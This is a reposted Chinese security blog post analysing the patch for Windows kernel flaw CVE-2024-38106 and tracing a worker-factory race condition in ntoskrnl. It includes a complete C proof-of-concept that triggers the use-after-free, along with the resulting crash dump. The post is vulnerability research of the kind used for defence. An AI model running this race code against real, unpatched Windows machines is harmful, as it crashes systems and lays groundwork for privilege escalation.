零日 Windows 内核漏洞,PoC 发布,CVE-2024-38106

admin 2024年9月25日10:07:29评论30 views字数 7908阅读26分21秒阅读模式

零日 Windows 内核漏洞,PoC 发布,CVE-2024-38106

最近,安全研究员发布了针对 Windows 内核中一个关键零日漏洞(编号为 CVE-2024-38106)的分析和概念验证 (PoC) 漏洞利用。此特权提升 (EoP) 漏洞已被广泛利用,促使安全专业人员和最终用户采取紧急行动。

CVE-2024-38106 (CVSS 7.0) 位于 Windows 操作系统的核心中,具体位于 ntoskrnl.exe 进程中,也称为 Windows NT 操作系统内核可执行文件。此内核是 Windows 的基本组件,充当硬件和软件之间的桥梁,对于众多 Windows 服务的高效运行至关重要。

在 8 月份的安全补丁中,微软修复了几个ntoskrnl.exe漏洞,其中一个 (CVE-2024-38106) 已被广泛利用。由于任何 ITW 都需要密切关注,我们尝试为其创建 POC。补丁分析期间使用的 Windows 版本:Windows 11,7 月 25 日与 8 月 14 日。

这篇文章并非旨在深入分析根本原因,但希望仍然有趣。

结果如下:

零日 Windows 内核漏洞,PoC 发布,CVE-2024-38106

在快速过滤掉与安全无关的变化后,我们确定了两个感兴趣的函数;VslGetSetSecureContext()和NtSetInformationWorkerFactory()。

安全上下文获取设置()

__int64 __fastcall VslGetSetSecureContext(__int64 a1, __int64 a2, __int64 a3, __int64 a4){ memset(v11, 0, 0x68ui64); v11[1] = a2; v11[2] = a3; v11[3] = a4; LOWORD(v8) = (a1 != 0) + 14; LOBYTE(v9) = 2; return VslpEnterIumSecureMode(v9, v8, 0i64, v11);}
__int64 __fastcall VslGetSetSecureContext(__int64 a1, int a2, int a3){ memset(v11, 0, 0x68ui64); memset(v10, 0, 0x48ui64); v6 = 15; if ( !a1 )   v6 = 14; WORD1(v11[0]) = v6; result = VslpLockPagesForTransfer((unsigned int)v10, a2, a3, a1 != 0, 0); if ( (int)result >= 0 ) {   v11[1] = v10[0];   LOBYTE(v8) = 2;   v11[2] = v10[7];   v9 = VslpEnterIumSecureMode(v8, WORD1(v11[0]), 0i64, v11);   VslpUnlockPagesForTransfer(v10);   return v9; } return result;

VslpEnterIumSecureMode()此补丁通过对与 VBS 安全内核相关的操作实施适当的锁定来修复竞争条件。

设置信息工作工厂()

这里的代码更改有点复杂。与安全相关的部分如下所示:

if ( v69[3] >= 0i64 )  goto LABEL_155;if ( v69[3] > (__int64)0xFFFFFFFFFF676980ui64 )  v69[3] = 0xFFFFFFFFFF676980ui64;if ( v69[3] < (__int64)0xFFFFFFFE9A5F4400ui64 )  v69[3] = 0xFFFFFFFE9A5F4400ui64;v40 = v69[3];*((_QWORD *)v15 + 14) = v69[3];v69[1] = -1i64;KeSetTimer2(v15 + 424, v40, -v40, v69);goto LABEL_89;
 case 2:  // enum WORKERFACTORYINFOCLASS: WorkerFactoryIdleTimeout       if ( (unsigned int)Feature_1697191224__private_IsEnabledDeviceUsage()        && *(_BYTE *)(*((_QWORD *)v16 + 2) + 0x21i64) )      {        Thread = 0x80;        goto LABEL_41;      }      v20 = v63[3];      if ( v63[3] >= 0i64 )      {        Thread = 0xC000000D;        v15 = 0;      }      else      {        if ( v63[3] > -10000000i64 )          v20 = -10000000i64;        if ( v20 < -6000000000i64 )          v20 = -6000000000i64;        v63[3] = v20;        *((_QWORD *)v16 + 14) = v20;        v63[1] = -1i64;        KeSetTimer2((__int64)(v16 + 424), v20, -v20, (__int64)v63);        v15 = 0;      }      goto LABEL_99;

如您所见,已添加标志检查:

*(_BYTE *)(*((_QWORD *)v16 + 2) + 0x21i64) )

此标志在NtShutdownWorkerFactory() –> ExpShutdownWorkerFactory()内部关闭期间设置:

Object = 0i64;v4 = ObReferenceObjectByHandle(a1, 0x20u, ExpWorkerFactoryObjectType, PreviousMode, &Object, 0i64);if ( v4 >= 0 ){  v5 = (struct _EX_RUNDOWN_REF *)Object;  ExpShutdownWorkerFactory(Object);
if ( (Object[51] & 0x200) != 0 )    ExpLeaveWorkerFactoryAwayMode(Object);if ( (_QWORD *)Object[74] == Object + 53 && (unsigned __int8)KiDeregisterObjectWaitBlock(Object + 53) )    ObfDereferenceObjectWithTag(Object, 0x746C6644u);*(_BYTE *)(Object[2] + 33i64) = 1;            // shutdown flag set

这意味着对象构造(由NtSetInformationWorkerFactory(.., WorkerFactoryIdleTimeout, ..))和析构(由NtShutdownWorkerFactory())之间确实存在竞争条件。POC 如下所示。

概念验证

#include "nt.h"#include "stdio.h"#include "time.h"#define TEST_RACE_COUNT 0x6000HANDLE hWorkingFactory;HANDLE hIoCompletion;HANDLE hProcess;DWORD WINAPI th_working_factory_constructor(LPVOID Param) {  WORKER_FACTORY_BASIC_INFORMATION worker_info_buf = { 0x0 };  DWORD out_len;  hProcess = GetCurrentProcess();  hIoCompletion = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 0, 0);  LONG wk;  NTSTATUS stat;  for (int i = 0; i < 0x800000; i++) {    hWorkingFactory = NULL;    stat = NtCreateWorkerFactory(&hWorkingFactory, GENERIC_ALL, NULL, hIoCompletion, hProcess, NULL, 0, 2, 0, 0);    NtClose(hWorkingFactory);  }  ExitThread(0);}void race_test_working_factory() {  LARGE_INTEGER liDueTime;  LONGLONG timeouts[] = { -1000000LL, -2000000LL, -3000000LL, -5000000LL, -10000000LL, -20000000LL, -30000000LL };  LONG wk;  for (size_t k = 0; k < 7; k++) {    for (size_t i = 0; i < TEST_RACE_COUNT; i++) {      liDueTime.QuadPart = timeouts[k];    // 0.1-20 seconds      NtSetInformationWorkerFactory(hWorkingFactory, WorkerFactoryIdleTimeout, &liDueTime, sizeof(liDueTime));    }  }}void race_test_close() {  while (1) {    NtClose(hWorkingFactory);  }}void race_test_nls() {  getchar();  HANDLE hThread_constructor = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)th_working_factory_constructor, 0, 0, NULL);  HANDLE hThread_constructor3 = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)race_test_working_factory, 0, 0, NULL);  HANDLE hThread_constructor2 = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)race_test_close, 0, 0, NULL);  WaitForSingleObject(hThread_constructor, INFINITE);}int main() {  srand(time(NULL));  init_lib_calls();  hProcess = GetCurrentProcess();  race_test_nls();}

崩溃日志

IRQL_NOT_LESS_OR_EQUAL (a)An attempt was made to access a pageable (or completely invalid) address at aninterrupt request level (IRQL) that is too high.  This is usuallycaused by drivers using improper addresses.If a kernel debugger is available get the stack backtrace.Arguments:Arg1: ffff800520e90f50, memory referencedArg2: 0000000000000002, IRQLArg3: 0000000000000000, bitfield :    bit 0 : value 0 = read operation, 1 = write operation    bit 3 : value 0 = not an execute operation, 1 = execute operation (only on chips which support this level of status)Arg4: fffff803250bc750, address which referenced memoryDebugging Details:Key  : WER.OS.VersionValue: 10.0.19041.1BUGCHECK_CODE:  aBUGCHECK_P1: ffff800520e90f50BUGCHECK_P2: 2BUGCHECK_P3: 0BUGCHECK_P4: fffff803250bc750READ_ADDRESS:  ffff800520e90f50 Special poolPROCESS_NAME:  nt_race_tester.exeTRAP_FRAME:  ffffc38c54653740 -- (.trap 0xffffc38c54653740)NOTE: The trap frame does not contain all registers.Some register values may be zeroed or incorrect.rax=ffff800520e90f20 rbx=0000000000000000 rcx=000000006a4618d3rdx=ffff800520e90f20 rsi=0000000000000000 rdi=0000000000000000rip=fffff803250bc750 rsp=ffffc38c546538d0 rbp=0000000000000001 r8=ffffc38c54653900  r9=0000000000000000 r10=fffff80324e0d000r11=ffff800523464f20 r12=0000000000000000 r13=0000000000000000r14=0000000000000000 r15=0000000000000000iopl=0         nv up ei ng nz na pe ncnt!KiInsertTimer2WithCollectionLockHeld+0xc0:fffff803250bc750 483b4a30        cmp     rcx,qword ptr [rdx+30h] ds:ffff800520e90f50=????????????????Resetting default scopeSTACK_TEXT:ffffc38c54652e48 fffff80325325e12     : ffffc38c54652fb0 fffff8032518c470 0000000000000000 0000000000000000 : nt!DbgBreakPointWithStatusffffc38c54652e50 fffff803253253f6     : 0000000000000003 ffffc38c54652fb0 fffff80325222ae0 000000000000000a : nt!KiBugCheckDebugBreak+0x12ffffc38c54652eb0 fffff8032520abf7     : 0000000000000000 0000000000000001 ffff800512a86f08 ffffc38c546535e0 : nt!KeBugCheck2+0x946ffffc38c546535c0 fffff8032521f3a9     : 000000000000000a ffff800520e90f50 0000000000000002 0000000000000000 : nt!KeBugCheckEx+0x107ffffc38c54653600 fffff8032521ad78     : 0000000000000400 ffffc60d744dcec0 0000000000000218 ffff800505d7af20 : nt!KiBugCheckDispatch+0x69ffffc38c54653740 fffff803250bc750     : 0000000000000000 ffff800512a86f8a 0000000000000000 fffff80325a3ece0 : nt!KiPageFault+0x478ffffc38c546538d0 fffff803250bc3e2     : ffff800512a86f08 ffff800512a86f01 0000000000000001 0000000000000001 : nt!KiInsertTimer2WithCollectionLockHeld+0xc0ffffc38c54653920 fffff80325116e5b     : 0000000000000000 00001f8000e90000 0000000000000002 0000000000000000 : nt!KeSetTimer2+0x172ffffc38c54653990 fffff8032521eb05     : 0000000000000000 0000000000000000 0000000000000000 ffff800500000000 : nt!NtSetInformationWorkerFactory+0x62bffffc38c54653b00 00007ffd7f0704c4     : 00007ff668ab1304 0000000000000000 0000000000000000 0000000000000000 : nt!KiSystemServiceCopyEnd+0x250000000e9d7ffe58 00007ff668ab1304     : 0000000000000000 0000000000000000 0000000000000000 0000000000000000 : ntdll!NtSetInformationWorkerFactory+0x140000000e9d7ffe60 0000000000000000     : 0000000000000000 0000000000000000 0000000000000000 0000000000000003 : nt_race_tester+0x1304SYMBOL_NAME:  nt!KiInsertTimer2WithCollectionLockHeld+c0MODULE_NAME: ntIMAGE_NAME:  ntkrnlmp.exe

我们可以看到,到达的KiInsertTimer2WithCollectionLockHeld()工作工厂对象和相关的计时器已经被释放。

3: kd> dq ffff800520e90f50ffff800520e90f50  ???????????????? ????????????????ffff800520e90f60  ???????????????? ????????????????ffff800520e90f70  ???????????????? ????????????????ffff800520e90f80  ???????????????? ????????????????ffff800520e90f90  ???????????????? ????????????????ffff800520e90fa0  ???????????????? ????????????????ffff800520e90fb0  ???????????????? ????????????????ffff800520e90fc0  ???????????????? ????????????????3: kd> !pool ffff800520e90f50Pool page ffff800520e90f50 region is Special poolffff800520e90000: Unable to get contents of special pool block

免责声明

本文提供的 PoC(概念验证)代码来自于开源社区,旨在用于教育和研究目的。请勿在生产环境中未经授权使用此工具。虽然我们提供了工具的使用方法,但对任何由此工具引发的损害或安全问题不承担责任。使用者需遵守相关法律法规,并在合法的环境中测试和使用这些工具。

希望这些信息对您有所帮助!如果觉得这篇文章有价值,欢迎点赞、分享、再看、转载,如果您有网络安全的疑问,联系我随时为您解答,感谢您的支持!

原文始发于微信公众号(星空网络安全):零日 Windows 内核漏洞,PoC 发布,CVE-2024-38106

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月25日10:07:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   零日 Windows 内核漏洞,PoC 发布,CVE-2024-38106https://cn-sec.com/archives/3130863.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息